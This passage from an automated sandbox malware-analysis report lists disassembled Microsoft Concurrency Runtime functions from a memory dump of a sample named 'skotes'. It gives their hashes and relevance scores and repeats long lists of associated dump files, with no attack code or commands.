Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006110C1

Strings

(, xrefs: 00610F22

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 0689b6e053a3c354c55c8765442ef9e0171d72280c45b4cf2a5a79e279eff3f3
Instruction ID: 3d584b486ff057d8be7ee54cc54cc0078f0edf684b82ae329a60ff30fea43bd1
Opcode Fuzzy Hash: 0689b6e053a3c354c55c8765442ef9e0171d72280c45b4cf2a5a79e279eff3f3
Instruction Fuzzy Hash: 7BB19D70A00615EFDB18CF68D995BBAB7B6FF49301F18416DE906AB381D730A9C1CB90

Function 00611602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00612CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00612D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00611614

Part of subcall function 00612E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00612E39
Part of subcall function 00612E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00612EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00611746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006117A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006117B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 006117ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0061180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0061181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00611823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0061183B

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 1edd5d5ffa1a39afd22e9f81d78168e926bcb848629e6685a364595eaa76b443
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 65817A71E002259FCB18CFA8C590AADB7F2FF49304B1982ADD545AB741C771AD92CBC4

Function 0061EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061EC81

Part of subcall function 00618F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00618F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0061ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0061ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0061ED0C

Part of subcall function 0061E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0061E7D7
Part of subcall function 0061E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0061E86F
Part of subcall function 0061E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061E879
Part of subcall function 0061E7AF: Concurrency::location::_Assign.LIBCMT ref: 0061E8AD
Part of subcall function 0061E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E8B5

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 573022039f6efa12a0bbce0d343595d9d2dd29e635d95638def6963583cb11a6
Instruction ID: cc1927fd1a3b46e2289b28ef4838c653bb7e60a4a429e37950d91043376f1e64
Opcode Fuzzy Hash: 573022039f6efa12a0bbce0d343595d9d2dd29e635d95638def6963583cb11a6
Instruction Fuzzy Hash: C3516C31A002159BDF58DF50D895BEEB776AF84310F184068ED066B3E2CB71AE86CB91

Function 0060CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0060CBAA

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 81a825bd8370887fd34832e3ab3f812890f9a29e246ce52889755a25b9129459
Instruction ID: c6c79c0f896f775fa41841d170c0badf6cb6f467efde71b4e4199ecce8a36f98
Opcode Fuzzy Hash: 81a825bd8370887fd34832e3ab3f812890f9a29e246ce52889755a25b9129459
Instruction Fuzzy Hash: B5B09232A1793047DB556B14BC1859F7B169B81A2230A2256D902A72B4CB605E824BD4

Function 0060DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
